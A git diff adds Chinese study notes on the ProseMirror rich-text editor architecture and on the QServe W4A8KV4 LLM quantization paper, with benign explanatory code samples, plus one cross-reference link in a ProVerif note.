+*学习笔记参考：arXiv:2605.30054，发表于 FSE 2026 IVR Track*
diff --git a/src/content/docs/papers/prosemirror-architecture.md b/src/content/docs/papers/prosemirror-architecture.md
new file mode 100644
index 000000000..40d0776c4
--- /dev/null
+++ b/src/content/docs/papers/prosemirror-architecture.md
@@ -0,0 +1,316 @@
+---
+title: ProseMirror — 构建富文本编辑器的工具箱
+来源: https://prosemirror.net/docs/guide/
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 日常类比：乐高，而不是成品玩具车
+
+你想做一款「能写标题、段落、加粗、还能协同」的笔记应用。最省事的路是找一个 `contentEditable` 的 div，让用户随便敲——就像把一盒**没说明书的水彩**交给小孩：颜色能涂，但粘进来一段 Word 文档，DOM 里会堆满 `<font>`、嵌套六层的 `<span>`，谁也说不清「合法文档」长什么样。
+
+**ProseMirror** 换了一种思路：你先当**乐高设计师**，用 **Schema** 规定「文档只能由哪些积木、以什么顺序搭」；用户每次按键、粘贴、加粗，都不直接改 DOM，而是生成一张**变更清单（Transaction）**，清单里是一步步可回放、可撤销、可和别人合并的 **Step**。界面（View）只负责把当前「世界快照（State）」画到屏幕上，并把浏览器的偷偷改动抓回来翻译成清单。
+
+官方 [ProseMirror Guide](https://prosemirror.net/docs/guide/) 把这套东西称为 *more of a Lego set than a Matchbox car*：核心库**不是** drop-in 组件，而是模块化工具；Tiptap、Atlassian Editor、Outline、NYT 等都在上面拼出自己的编辑器。作者 Marijn Haverbeke（同 [[codemirror-6-architecture]] 的 CodeMirror）2016 年前后把 1.0 定稿，设计目标之一是**从第一天就为协同编辑留好位置**。
+
+## 是什么
+
+**ProseMirror** 是一套用 JavaScript 实现的**富文本编辑框架**，强调：
+
+1. **文档不是 HTML 字符串**，而是一棵受 Schema 约束的**节点树**（`prosemirror-model`）。
+2. **编辑状态不可变**：`EditorState` 含文档、选区、插件状态；更新靠 `apply(transaction)` 得到新 state（`prosemirror-state`）。
+3. **变更可记录、可逆、可映射**：`Transform` / `Step` 是事务与撤销、协同的数学基础（`prosemirror-transform`）。
+4. **View 是薄壳**：`EditorView` 把 state 渲染成 `contentEditable`，用户操作产生 transaction（`prosemirror-view`）。
+
+和「所见即所得」老式编辑器不同，ProseMirror 追求 WYSIWYG 体验，但**避免把浏览器 DOM 当唯一真相**——你的代码对文档结构与每次变更有完全掌控权。
+
+## 为什么重要
+
+不懂这套架构，下面问题很难答清：
+
+| 问题 | 关键概念 |
+|------|----------|
+| 为什么 Notion / Confluence 类编辑器能协同，而自研 contentEditable 一加多人就乱？ | Step 可 `map` / `invert`，远端变更能 rebase 到本地 |
+| 为什么 Tiptap 不重写内核？ | Schema + Step + Plugin 边界已被证明，重写等于重做 undo/collab/DOM 兼容 |
+| 为什么粘贴 Word 不会把 schema 撑爆？ | `DOMParser` + Schema 只接纳合法节点，脏 HTML 被规范化 |
+| 和 [[yjs-crdt-overview]] 怎么配合？ | `y-prosemirror` 把 transaction 与 `Y.XmlFragment` 双向翻译，CRDT 管合并，ProseMirror 管编辑语义 |
+
+## 四大必备模块
+
+Guide 把系统拆成四块「没有就编不了辑」的模块，外加 `prosemirror-commands`、`prosemirror-keymap`、`prosemirror-history`、`prosemirror-collab` 等可选扩展：
+
+```mermaid
+flowchart TB
+  subgraph 用户
+    Input[键盘 / 鼠标 / 粘贴 / IME]
+  end
+
+  subgraph View["prosemirror-view"]
+    EV[EditorView]
+    DOM[contentEditable DOM]
+  end
+
+  subgraph State["prosemirror-state"]
+    ES[EditorState]
+    Sel[Selection]
+    Plugins[Plugins]
+    Tr[Transaction]
+  end
+
+  subgraph Model["prosemirror-model"]
+    Doc[Node 树]
+    Schema[Schema]
+    Marks[Marks 行内样式]
+  end
+
+  subgraph Transform["prosemirror-transform"]
+    Step[Step: apply / invert / map]
+  end
+
+  Input --> EV
+  EV -->|dispatchTransaction| Tr
+  Tr --> Step
+  Tr -->|apply| ES
+  ES --> Doc
+  Schema --> Doc
+  ES --> Sel
+  ES --> Plugins
+  EV --> DOM
+  ES -->|updateState| EV
+```
+
+| 包 | 职责 |
+|----|------|
+| `prosemirror-model` | 文档树、Schema、Slice、DOM 解析/序列化 |
+| `prosemirror-state` | `EditorState`、`Transaction`、选区、`Plugin` |
+| `prosemirror-transform` | 文档变换、`Step`、`ReplaceStep` 等 |
+| `prosemirror-view` | 渲染、输入事件、把 DOM 变动译回 transaction |
+
+## 核心概念
+
+### 1. Schema：版式手册，不是事后补丁
+
+Schema 声明**有哪些节点类型、哪些 mark、谁能包谁**。例如 `doc` 只能包含 `block+`，`paragraph` 的 `content` 是 `inline*`（零个或多个行内节点）。违反规则的插入会在 transaction 应用时被拒绝或规范化。
+
+**Content 表达式**（如 `paragraph+`、`heading block*`）是 ProseMirror 的「排版语法」——和 HTML 的随意嵌套不同，这里**每种文档只有一种合法形状**（相邻同 mark 的 text 会合并，不允许空 text 节点）。
+
+### 2. 文档树：块级树 + 行内扁平面
+
+块节点（段落、标题、列表项）形成树；**行内内容**在 textblock 里是**带 mark 的 text 扁平序列**，而不是 HTML 那种 `<strong><em>` 嵌套树。好处：
+
+- 光标位置用**字符偏移**即可，不必维护 DOM path
+- 拆分段落、切换样式不必做复杂树手术
+- 协同时位置映射更简单
+
+### 3. Node 与 Mark
+
+- **Node**：结构单元（`paragraph`、`heading`、`image`…），有 `attrs`（如标题 level）。
+- **Mark**：附着在 text 上的行内样式（`strong`、`link`、`code`…），可跨节点边界。
+
+### 4. EditorState：不可变快照
+
+State 三大件（Guide *State* 章）：
+
+- `doc`：当前文档（只读）
+- `selection`：选区或光标（`TextSelection`、`NodeSelection`…）
+- `storedMarks`：「下一次输入将带上的 mark」（例如先点加粗再打字）
+
+还有 **plugins** 附带的插件状态。旧 state 永不原地修改；`state.apply(tr)` 返回新 state。
+
+### 5. Transaction 与 Step
+
+用户输入时 View **不直接改 doc**，而是创建 `Transaction`（`Transform` 的子类）：
+
+1. 记录对 doc 的 Step 序列
+2. 可附带选区变化、`storedMarks`、metadata（给插件读）
+3. `newState = oldState.apply(transaction)`
+4. `view.updateState(newState)`
+
+**Step** 必须实现 `apply`、`invert`（撤销）、`map`（在别的 Step 之后重新对齐位置）——这是 **undo 历史**与 **prosemirror-collab** 能工作的根本原因。
+
+### 6. Command：可绑键、可挂菜单的编辑动作
+
+`prosemirror-commands` 里的 `toggleMark`、`splitBlock` 等都是 **command**：`(state, dispatch?, view?) => boolean`。返回 `true` 表示已处理。`keymap` 插件把按键映射到 command；`baseKeymap` 让 Enter、Backspace 等符合直觉。
+
+### 7. Plugin：横切关注点
+
+插件在 `EditorState.create({ plugins: [...] })` 时注册，可：
+
+- 拦截或观察 transaction（history、collab）
+- 提供 `props` 给 View（`handleDOMEvents`、`decorations`）
+- 维护与 doc 同步的插件状态（`PluginKey` + `state` field）
+
+### 8. View：函数式 state 的命令式外壳
+
+`EditorView` 把 `state.doc` 画成 DOM，用 `MutationObserver` 等把浏览器擅自改的 DOM **译回**合法 transaction。IME、Safari、Firefox 各有一套边角补丁——这是富文本框架的「永恒税」，也是为什么值得用成熟库而不是裸 contentEditable。
+
+## 代码示例
+
+### 示例 1：Guide 里的第一个编辑器
+
+官方最小示例：空文档 + 默认选区，能打字但 Enter 尚无行为（需后续加 command / keymap）。
+
+```js
+import { schema } from "prosemirror-schema-basic"
+import { EditorState } from "prosemirror-state"
+import { EditorView } from "prosemirror-view"
+
+const state = EditorState.create({ schema })
+const view = new EditorView(document.body, { state })
+```
+
+要点：`schema` 决定空文档长什么样；没有 `dispatchTransaction` 时 View 内部默认 `apply` + `updateState`，对简单 demo 够用。
+
+### 示例 2：显式接管 transaction（可观测数据流）
+
+Hook `dispatchTransaction` 后，每次变更都经过你的逻辑——便于接 Redux、日志、协同网关：
+
+```js
+import { schema } from "prosemirror-schema-basic"
+import { EditorState } from "prosemirror-state"
+import { EditorView } from "prosemirror-view"
+
+const state = EditorState.create({ schema })
+const view = new EditorView(document.body, {
+  state,
+  dispatchTransaction(transaction) {
+    console.log(
+      "Document size:",
+      transaction.before.content.size,
+      "→",
+      transaction.doc.content.size,
+    )
+    const newState = view.state.apply(transaction)
+    view.updateState(newState)
+  },
+})
+```
+
+要点：**所有**正常编辑更新都应走 `updateState`；`transaction.before` / `transaction.doc` 让你对比前后文档，插件也可用 `transaction.setMeta` 打标。
+
+### 示例 3：历史 + 键位 + 基础编辑命令
+
+Guide 在示例 1 之上叠 `history`、`keymap`、`baseKeymap`，得到「能 Undo、Enter 能分段」的 baseline：
+
+```js
+import { schema } from "prosemirror-schema-basic"
+import { EditorState } from "prosemirror-state"
+import { EditorView } from "prosemirror-view"
+import { undo, redo, history } from "prosemirror-history"
+import { keymap } from "prosemirror-keymap"
+import { baseKeymap } from "prosemirror-commands"
+
+const state = EditorState.create({
+  schema,
+  plugins: [
+    history(),
+    keymap({ "Mod-z": undo, "Mod-y": redo }),
+    keymap(baseKeymap),
+  ],
+})
+const view = new EditorView(document.body, { state })
+```
+
+要点：`history()` 观察 transaction 存 invert step；`baseKeymap` 绑定 Enter、Delete 等到 schema-basic 的节点行为。
+
+### 示例 4：自定义 Schema 与初始 HTML
+
+产品级编辑器几乎不会只用 `schema-basic`，而要定义列表、代码块、@提及等：
+
+```js
+import { Schema, DOMParser } from "prosemirror-model"
+import { EditorState } from "prosemirror-state"
+import { EditorView } from "prosemirror-view"
+
+const schema = new Schema({
+  nodes: {
+    doc: { content: "block+" },
+    paragraph: {
+      content: "inline*",
+      group: "block",
+      parseDOM: [{ tag: "p" }],
+      toDOM: () => ["p", 0],
+    },
+    text: { group: "inline" },
+  },
+  marks: {
+    strong: {
+      parseDOM: [{ tag: "strong" }, { tag: "b" }],
+      toDOM: () => ["strong", 0],
+    },
+  },
+})
+
+const html = document.getElementById("content")
+const state = EditorState.create({
+  doc: DOMParser.fromSchema(schema).parse(html),
+  schema,
+})
+new EditorView(document.querySelector("#editor"), { state })
+```
+
+要点：`parseDOM` / `toDOM` 双向桥接 DOM 与模型；`0` 是子节点占位符。粘贴时脏 HTML 会被**压平**成 schema 允许的树。
+
+### 示例 5：协同骨架（与 [[yjs-crdt-overview]] 对照）
+
+原生 `prosemirror-collab` 用 Step 版本号 + 服务端排序；也可换 `y-prosemirror` 走 CRDT：
+
+```js
+import { collab, sendableSteps, receiveTransaction } from "prosemirror-collab"
+
+let state = EditorState.create({ schema, plugins: [collab()] })
+const view = new EditorView(document.querySelector("#editor"), { state })
+
+// 本地未确认 step 发往服务端
+const sendable = sendableSteps(view.state)
+if (sendable) {
+  socket.send(JSON.stringify({ steps: sendable.steps, clientID: sendable.clientID }))
+}
+
+// 收到远端 step
+socket.onmessage = (event) => {
+  const { steps, clientIDs } = JSON.parse(event.data)
+  const tr = receiveTransaction(view.state, steps, clientIDs)
+  view.dispatch(tr)
+}
+```
+
+要点：`receiveTransaction` 内部对远端 Step 做 `map`，与本地未确认 Step 对齐后再 `apply`——这是 OT 风格协同在 ProseMirror 里的标准姿势。
+
+## 与相关技术对照
+
+| 维度 | ProseMirror | Slate.js | Lexical | contentEditable |
+|------|-------------|----------|---------|-----------------|
+| 文档模型 | 不可变 Node 树 + Schema | 可变 JSON 树 | Map + 链表节点 | 浏览器 DOM |
+| 变更单元 | Step / Transaction | Operation | `editor.update` | 无统一抽象 |
+| 协同 | collab / y-prosemirror 成熟 | 社区 y-slate | @lexical/yjs | 需自研 |
+| 上手曲线 | 陡（模块化） | 中 | 中 | 低 |
+| 结构约束 | Schema 强制 | 较弱 | 自定义节点 | 无 |
+
+同作者的 [[codemirror-6-architecture]] 走**纯文本 + 语法树**；ProseMirror 走**富文本语义块**。二者都强调不可变 state + transaction，但文档形状与 View 难题完全不同。
+
+## 常见坑
+
+1. **忘记 `dispatchTransaction` 却想接协同/日志**——默认路径不经过你的中间层，元数据挂不上。
+2. **Schema 的 `content` 写错**——`paragraph+` 与 `block+` 差一个字，空文档、Enter、粘贴表现全变。
+3. **把 HTML 当真相**——应从 `state.doc` 或 `DOMSerializer` 导出，而不是 `innerHTML` 完事。
+4. **自定义 NodeView 不实现 `update`/`destroy`**——React 包装层易内存泄漏、光标错位。
+5. **协同发 DOM diff 而非 Step**——并发时无法可靠 merge，应序列化 Step 或走 Yjs binding。
+
+## 学习路径建议
+
+1. 通读 [ProseMirror Guide](https://prosemirror.net/docs/guide/) 前四章：Introduction → Documents → Schemas → Transforms。
+2. 跑通示例 1→3，再改 Schema 加一个自定义节点（如 `callout`）。
+3. 读 `prosemirror-example-setup` 源码看「生产级插件组合」长什么样（仅作参考，勿整包照搬）。
+4. 需要协同时二选一：`prosemirror-collab` 教程 或 [[yjs-crdt-overview]] + `y-prosemirror` demo。
+5. 产品向封装可看 [[tiptap]]（ProseMirror 上的声明式 API）与 [[outline]]（真实 Wiki 架构）。
+
+## 延伸阅读
+
+- 官方 [Reference manual](https://prosemirror.net/docs/ref/) — API 细查
+- Marijn 博文 [ProseMirror 1.0](https://marijnhaverbeke.nl/blog/prosemirror-1.html) — 设计动机与 transaction 哲学
+- 项目笔记 [[prosemirror]] — 本仓库中的工程向速览
+- [[monaco-editor-2016]] — 代码编辑场景的另一极（大组件、VS Code 同源）
+- [[operational-transform-jupiter-1995]] — 协同编辑 OT 脉络，对比 Step/rebase 思路
diff --git a/src/content/docs/papers/proverif-2001.md b/src/content/docs/papers/proverif-2001.md
index 8a0a94e95..d358880be 100644
--- a/src/content/docs/papers/proverif-2001.md
+++ b/src/content/docs/papers/proverif-2001.md
@@ -157,6 +157,7 @@ ProVerif 不是孤岛，今天形式化协议验证有三大工具，定位各
 - [[easycrypt-2011]] —— EasyCrypt — 让密码学家的安全证明能被机器自动检查
 - [[hoare-logic]] —— Hoare Logic — 把"程序对不对"变成"数学证明对不对"
 - [[lamport-tla-1994]] —— TLA — 把状态机和时序逻辑捏成一个公式
+- [[noise-protocol-framework]] —— Noise Protocol Framework — 用「握手配方」拼出端到端加密通道
 - [[prolog-colmerauer]] —— Prolog 的诞生 — 让逻辑式子直接当程序跑
 - [[tamarin-2012]] —— Tamarin — 让计算机自己证 Signal、TLS 1.3 这种带 DH 的协议是不是真安全
 
diff --git a/src/content/docs/papers/qserve-w4a8kv4-2024.md b/src/content/docs/papers/qserve-w4a8kv4-2024.md
new file mode 100644
index 000000000..11271d3b6
--- /dev/null
+++ b/src/content/docs/papers/qserve-w4a8kv4-2024.md
@@ -0,0 +1,342 @@
+---
+title: QServe — W4A8KV4 量化与系统协同设计（零基础学习笔记）
+来源: https://arxiv.org/abs/2405.04532
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：快餐店的后厨分工
+
+想象一家**连锁快餐店**（GPU）要在午餐高峰同时服务几百位客人（大 batch LLM serving）。后厨有两类人：
+
+- **主厨**（Tensor Core / INT8 矩阵乘单元）：刀工极快，一分钟能切完一大盆土豆丝（GEMM）。
+- **配菜员**（CUDA Core）：负责拆包装、称重、调酱汁（**反量化 dequantization**、指针运算、地址计算）。
+
+很多「4-bit 量化」论文的理论账算得很漂亮：权重从 16 位压到 4 位，显存省 4 倍，算力也该快 4 倍。但真实厨房里，**主厨在等配菜员**——每切一批菜，配菜员都要先把 4-bit 小包装拆成 8-bit 标准盒、再贴上每组的价签（per-group scale / zero point）。论文测出来，这一步在现有 GPU 上能吃掉 **20%–90%** 的 GEMM 时间，大 batch 场景下吞吐反而不如 W8A8 或 W4A16。
+
+**QServe**（MIT Han Lab，MLSys 2025 / arXiv:[2405.04532](https://arxiv.org/abs/2405.04532)）的核心洞察就是：**LLM serving 的效率，往往卡在慢速 CUDA Core 上的「拆包装」活，而不是 Tensor Core 本身。**
+
+于是作者做了两件事，必须一起才有效：
+
+1. **QoQ 量化算法**（拉丁语 *quattuor-octo-quattuor* = 4-8-4）：**W4A8KV4**——权重 4 位、激活 8 位、KV cache 4 位，并专门设计让「拆包装」更省事。
+2. **QServe 推理系统**：自定义 CUDA kernel、权重重排、寄存器级并行，把理论 roofline 上的收益变成**实测吞吐**。
+
+结果：在 A100 / L40S 上，相对 TensorRT-LLM 最优配置，Llama-3-8B 吞吐提升约 **1.2×–1.4×**，Qwen1.5-72B 提升约 **2.4×–3.5×**；L40S 上 QServe 有时甚至能超过 A100 上的 TensorRT-LLM——相当于用 **3× 更便宜的卡** 打出旗舰卡的服务能力。开源实现见 [mit-han-lab/omniserve](https://github.com/mit-han-lab/omniserve)。
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 全称 | QServe: W4A8KV4 Quantization and System Co-design for Efficient LLM Serving |
+| 作者 | Yujun Lin, Haotian Tang, Shang Yang 等（MIT Han Lab） |
+| 会议 | MLSys 2025（预印本 2024-05） |
+| 精度组合 | **W4A8KV4**：4-bit weight、8-bit activation、4-bit KV cache |
+| 对比基线 | TensorRT-LLM（FP16 / W8A8 / W4A16）、Atom（W4A4）、QuaRot（W4A4） |
+| 关键卖点 | **算法 + 系统协同设计**，针对 CUDA Core 反量化瓶颈 |
+
+与 [[paged-attention-vllm]] 的关系：QServe 的 KV 管理沿用 **paged KV cache** 思路，但用 **per-head 动态 KV4 量化**（scale / zero point 存在每个 page 尾部），精度更低、更新更频繁。
+
+与 [[flashattention-2]] 的关系：FlashAttention 优化 attention **怎么算**；QServe 优化 **权重/KV 怎么存、怎么在 GEMM 主循环里反量化**——正交，可叠加。
+
+---
+
+## 为什么 W4A4 在云端 serving 里常常「翻车」
+
+论文用 roofline 模型说明：低比特量化理论上能提高 **算术强度**（每字节内存做更多 MAC），但若 GEMM **主循环（main loop）** 里夹杂大量：
+
+- INT4 → FP16/INT8 的 **weight dequantization**
+- per-group **scale / zero point** 查找与乘法
+- 非连续存储带来的 **指针算术**（算下一个 weight 块地址）
+
+这些活都在 **CUDA Core** 上跑，吞吐只有 Tensor Core 的约 **1/32**（A100 量级）。于是出现悖论：
+
+| 方案 | 理论 | 实测（大 batch serving） |
+|------|------|------------------------|
+| W4A16 | 权重省显存，算在 FP16 Tensor Core | 需在线反量化权重，主循环慢 |
+| W4A4 | 全链路 4-bit，算术强度最高 | per-group 反量化更重；Atom 在 A100 上比 W8A8 **慢 20–25%** |
+| W8A8 | 工业界常用折中 | 激活仍 8-bit，KV 通常 8-bit，内存压力不小 |
+
+**QServe 选的 W4A8KV4** 是一种「刻意偏科」的甜点：
+
+- **权重 4-bit**：省参数带宽（LLM 参数量大，收益稳定）。
+- **激活 8-bit**：比 W4A4 少一层激活分组反量化，主循环更干净；仍走 **INT8 Tensor Core**。
+- **KV 4-bit**：decode 阶段 attention 占 30%–50% 时间，KV 减半带宽收益大；用 **SmoothAttention** 保住精度。
+
+---
+
+## 核心概念
+
+### 1. QoQ：两级渐进分组量化（Progressive Group Quantization）
+
+普通 **per-group INT4** 精度好，但每个 group 都要在 GEMM 内做 scale/zero 反量化，**主循环开销大**。
+
+QoQ 对权重做 **两级** 量化：
+
+1. **第一级**：per-channel 对称 **INT8** 量化（粗粒度，channel 级 scale）。
+2. **第二级**：在 INT8 基础上再做 per-group 非对称 **INT4**（group size 常见 128）。
+
+关键技巧叫 **protective range（保护区间）**：选第二级 scale 时保证中间积不会 INT8 溢出，使得 kernel 里可以用 **「先乘 scale、再减 zero」** 的顺序，并配合 `vadd4` 等指令做 **寄存器级并行（RLP）**——四个 INT8 加法合成一次 INT32 ALU 操作，而 4 路 INT8 乘法没有等价单指令。
+
+直觉：不是一次把食材从 4-bit 直接变到算子入口，而是 **先粗分到 8-bit 大格、再细调到 4-bit 小格**，让主厨（Tensor Core）看到的始终是规整 INT8 tile，配菜员（CUDA Core）的拆包步骤可流水线化。
+
+### 2. SmoothAttention：让 KV4 不至于「糊掉」
+
+直接把 KV cache 压到 4-bit，困惑度会明显变差。论文观察：
+
+- **Value** 分布较均匀，KV4 相对好压。
+- **Key** 在 RoPE 之后存在 **固定 outlier 通道**（幅度约为均值的 ~10×），4-bit 量化等级不够分。
+
+借鉴 SmoothQuant 思想，对每个 head 的 Key 通道做平滑缩放 λ：
+
+\[
+K' = \Lambda^{-1} K,\quad Q' = Q \Lambda
+\]
+
+attention 数学不变（\(Q'K'^T = QK^T\)），但 **K 的动态范围变小**，KV4 更好量化。实践中 α=0.5 的 λ 选取就够；scale 可 **融合进 Q/K 投影权重**（\(W_Q \leftarrow \Lambda W_Q,\; W_K \leftarrow \Lambda^{-1} W_K\)），避免额外 kernel。
+
+### 3. QServe 运行时：一块 Transformer 里的精度地图
+
+每个 decoder block **输入输出仍是 FP16**，内部按算子切分：
+
+```
+┌─────────────────────────────────────────────────────────┐
+│  LayerNorm ──(融合)──► Act INT8 量化                     │
+│       ↓                                                 │
+│  QKV GEMM: W4 × A8 ──► INT8 Tensor Core ──► FP16 Q,K,V │
+│       ↓                                                 │
+│  Attention: FP16 on CUDA Core（读 KV4 page，动态反量化）  │
+│       ↓                                                 │
+│  Out Proj GEMM: W4A8 → FP16                              │
+│       ↓                                                 │
+│  FFN: 两段 W4A8 GEMM，激活量化融合在 LN / SiLU 后        │
+└─────────────────────────────────────────────────────────┘
+```
+
+- **激活量化**：per-token 对称 INT8；尽量 **融合进前一层 LayerNorm 或激活函数**，少一次显存往返。
+- **KV cache**：**per-head 动态** INT4（非 TRT-LLM 那种 per-tensor 静态 KV8）；scale/zero 存在 paged KV 的每个 page 末尾，便于 append 时更新。
+- **调度**：支持 **in-flight batching**（与 vLLM / TRT-LLM 同类连续批处理）。
+
+### 4. Compute-aware Weight Reordering
+
+W4 权重在内存里常是「每 4 个 input channel 一组」，若按朴素顺序加载，线程要频繁 **跳地址**（例如读完 ch 0–3 跳到 ch 16–19），指针算术在 CUDA Core 上做，且无法满带宽 128-bit load。
+
+QServe **离线重排权重布局**：让同一 warp 内线程读 **连续 128-bit**，再用 `ldmatrix` 在寄存器里打散成 Tensor Core 需要的排布。代价是离线预处理；收益是主循环里 **地址计算从「每个 4-channel 一次」降到「每个 16-channel 一次」**。
+
+### 5. KV4 Attention：别让算子逃出「内存墙」
+
+Roofline 说 KV4 应比 KV8 **快 2×**，但朴素替换后：L40S 上能到 1.7×，A100 上反而 **慢 1.2×**。原因又是 CUDA Core：decode 阶段 attention 是 **batched GEMV + softmax + GEMV** 融合，batch 一大，**算术强度升高**，从 memory-bound 滑向 compute-bound，低比特省带宽的优势被算力开销抵消。
+
+QServe 的做法：**推迟 attention 的 roofline 转折点**——通过 fusion 策略与 KV4 解码 kernel 优化，让 attention 尽量留在 memory-bound 区，使 **4-bit KV 的带宽节省** 能转化为端到端加速。
+
+---
+
+## 代码示例 1：QoQ 两级权重量化（教学伪代码）
+
+下面用 NumPy 风格说明 **progressive group quantization** 在做什么（非 QServe 生产 kernel，只为理解数据流）：
+
+```python
+import numpy as np
+
+def quantize_per_channel_int8(W: np.ndarray) -> tuple[np.ndarray, np.ndarray]:
+    """第一级：per-output-channel 对称 INT8。"""
+    # W shape: [out_features, in_features]
+    max_abs = np.max(np.abs(W), axis=1, keepdims=True)
+    scale8 = max_abs / 127.0
+    W_int8 = np.round(W / np.clip(scale8, 1e-8, None)).astype(np.int8)
+    return W_int8, scale8.squeeze()
+
+def quantize_per_group_int4(W_int8: np.ndarray, group_size: int = 128):
+    """第二级：在 INT8 权重上 per-group 非对称 INT4。"""
+    out, inp = W_int8.shape
+    assert inp % group_size == 0
+    W_g = W_int8.reshape(out, inp // group_size, group_size)
+    mn = W_g.min(axis=2, keepdims=True)
+    mx = W_g.max(axis=2, keepdims=True)
+    scale4 = (mx - mn).astype(np.float32) / 15.0
+    zero = np.round(-mn / np.clip(scale4, 1e-8, None))
+    W_int4 = np.clip(
+        np.round(W_g / np.clip(scale4, 1e-8, None) + zero),
+        0, 15,
+    ).astype(np.uint8)
+    return W_int4, scale4.squeeze(-1), zero.squeeze(-1)
+
+# 示例：模拟一个线性层权重 [4096, 4096]
+W_fp16 = np.random.randn(4096, 4096).astype(np.float32) * 0.02
+W_int8, s8 = quantize_per_channel_int8(W_fp16)
+W_int4, s4, z4 = quantize_per_group_int4(W_int8, group_size=128)
+
+# 推理时 GEMM kernel 内：INT4 → (乘 s4, 减 zero) → INT8 域 → (乘 s8) → 与 INT8 激活做 Tensor Core MMA
+```
+
+要点：**反量化发生在 GEMM 主循环内部**，QServe 通过 protective range 保证 `((w4 * s4) - z4)` 不溢出 INT8，从而能用 SIMD 式指令批量处理。
+
+---
+
+## 代码示例 2：SmoothAttention 平滑 Key outlier
+
+```python
+import torch
+import torch.nn.functional as F
+
+def smooth_attention_scales(K_sample: torch.Tensor, alpha: float = 0.5) -> torch.Tensor:
+    """
+    K_sample: [batch, seq, num_heads, head_dim]
+    返回 per-head 对角缩放向量 lambda，shape [num_heads, head_dim]。
+    """
+    # 按 head_dim 通道取 max，观察 outlier（论文 Figure 7）
+    per_channel_max = K_sample.abs().amax(dim=(0, 1))  # [heads, dim]
+    global_max = per_channel_max.max()
+    # 类似 SmoothQuant：λ = (max^α) / (max^(1-α)) 逐通道
+    lam = per_channel_max.pow(alpha) / per_channel_max.pow(1 - alpha).clamp(min=1e-6)
+    lam = lam / lam.max() * global_max.pow(alpha)  # 归一化到合理量级
+    return lam
+
+def apply_smooth_to_qk_proj(W_Q, W_K, lam):
+    """融合进权重，推理时无额外 scale kernel。"""
+    # lam: [heads, head_dim] → broadcast 到权重行
+    W_Q_smooth = lam.unsqueeze(-1) * W_Q
+    W_K_smooth = W_K / lam.unsqueeze(-1).clamp(min=1e-6)
+    return W_Q_smooth, W_K_smooth
+
+# 量化 KV cache 前，K 的动态范围已缩小，INT4 per-head 量化更稳
+def quantize_kv4_per_head(K, V, lam):
+    K_s = K / lam.view(1, 1, *lam.shape)
+    # per-head 动态 scale/zero（QServe 在 paged KV page 尾部存 FP16 metadata）
+    def dyn_quant(x, bits=4):
+        qmax = 2 ** bits - 1
+        mn, mx = x.min(-1, keepdim=True).values, x.max(-1, keepdim=True).values
+        scale = (mx - mn) / qmax
+        zero = (-mn / scale).round()
+        q = ((x / scale) + zero).round().clamp(0, qmax).to(torch.uint8)
+        return q, scale.half(), zero.half()
+    return (*dyn_quant(K_s), *dyn_quant(V))
+```
+
+---
+
+## 代码示例 3：激活融合量化（理解 runtime 节点）
+
+QServe 在 LayerNorm 输出处直接出 INT8，避免单独 quantize kernel：
+
+```python
+class FusedLayerNormActQuant(torch.nn.Module):
+    def __init__(self, hidden: int, eps: float = 1e-5):
+        super().__init__()
+        self.weight = torch.nn.Parameter(torch.ones(hidden))
+        self.bias = torch.nn.Parameter(torch.zeros(hidden))
+        self.eps = eps
+
+    def forward(self, x: torch.Tensor) -> torch.Tensor:
+        # x: [batch, seq, hidden] — FP16 in
+        mean = x.mean(-1, keepdim=True)
+        var = x.var(-1, keepdim=True, unbiased=False)
+        x_norm = (x - mean) / torch.sqrt(var + self.eps)
+        x_norm = x_norm * self.weight + self.bias
+        # per-token 对称 INT8（与 QoQ 一致）
+        scale = x_norm.abs().amax(-1, keepdim=True) / 127.0
+        x_int8 = torch.round(x_norm / scale.clamp(min=1e-8)).clamp(-128, 127).to(torch.int8)
+        # 生产实现会把 scale 传给紧随其后的 W4A8 GEMM custom op
+        return x_int8, scale.squeeze(-1).half()
+```
+
+---
+
+## 实验结果怎么读
+
+论文在 **A100 80GB** 与 **L40S 48GB** 上测 **最大可持续吞吐**（固定 SLA 延迟下的 batch），覆盖 Llama-2/3、Mistral、Qwen1.5 等 7B–72B 模型：
+
+| 对比 | 典型结论 |
+|------|----------|
+| vs TensorRT-LLM 最优（FP16/W8A8/W4A16） | A100 上 **1.2×–2.4×**；L40S 上 **1.5×–3.5×** |
+| vs Atom / QuaRot（W4A4） | A100 上约 **2.5×–2.9×** |
+| 经济性 | 六款模型里 **六款** 可在 L40S+QServe 上超过 A100+TRT-LLM 吞吐 |
+| 精度 | WikiText-2 perplexity 相对 W8A8 SmoothQuant、W4A16 AWQ，QoQ 最多约 **+0.16**；优于 RTN/AWQ 等同精度档 |
+
+**消融实验**验证各组件必要性：去掉 progressive quantization 或 weight reorder，GEMM 主循环开销上升；去掉 SmoothAttention，KV4 困惑度明显恶化；KV4 attention kernel 优化是把「理论 2×」兑现为实测的关键。
+
+---
+
+## 系统架构一图流
+
+```mermaid
+flowchart TB
+    subgraph QoQ["QoQ 算法（离线）"]
+        PQ[Progressive Group Quantization W→INT8→INT4]
+        SA[SmoothAttention 融合进 W_Q/W_K]
+        WR[Compute-aware Weight Reorder]
+    end
+
+    subgraph Runtime["QServe 运行时（在线）"]
+        LN[Fused LayerNorm + Act INT8 Quant]
+        GEMM[W4A8 GEMM on INT8 Tensor Cores]
+        KV[Paged KV4 per-head dynamic quant]
+        ATT[KV4 Attention on CUDA Cores FP16]
+    end
+
+    PQ --> GEMM
+    SA --> KV
+    WR --> GEMM
+    LN --> GEMM
+    GEMM --> ATT
+    KV --> ATT
+```
+
+---
+
+## 优势、局限与后续
+
+**优势**
+
+- 把「4-bit 量化 serving」从论文 roofline 拉进 **可测吞吐**，大 batch 云端场景尤其明显。
+- 明确指出 **CUDA Core 反量化** 是 W4A4/W4A16 的隐形税，并给出算法+kernel 双侧解法。
+- W4A8KV4 在 **精度-速度-显存** 三角上找到可部署平衡点；与 paged KV、in-flight batching 工业惯例兼容。
+
+**局限**
+
+- 依赖 **定制 CUDA/PTX kernel**，不像纯 PyTorch 量化即插即用；需 OmniServe/QServe 工具链。
+- 权重 reorder、离线 QoQ 量化有 **预处理成本**；多 GPU 张量并行下的布局需与框架对齐。
+- Attention 仍在 **FP16 CUDA Core** 上算，极长 context + 超大 batch 时 attention 占比与 roofline 形态会变，需重新 profile。
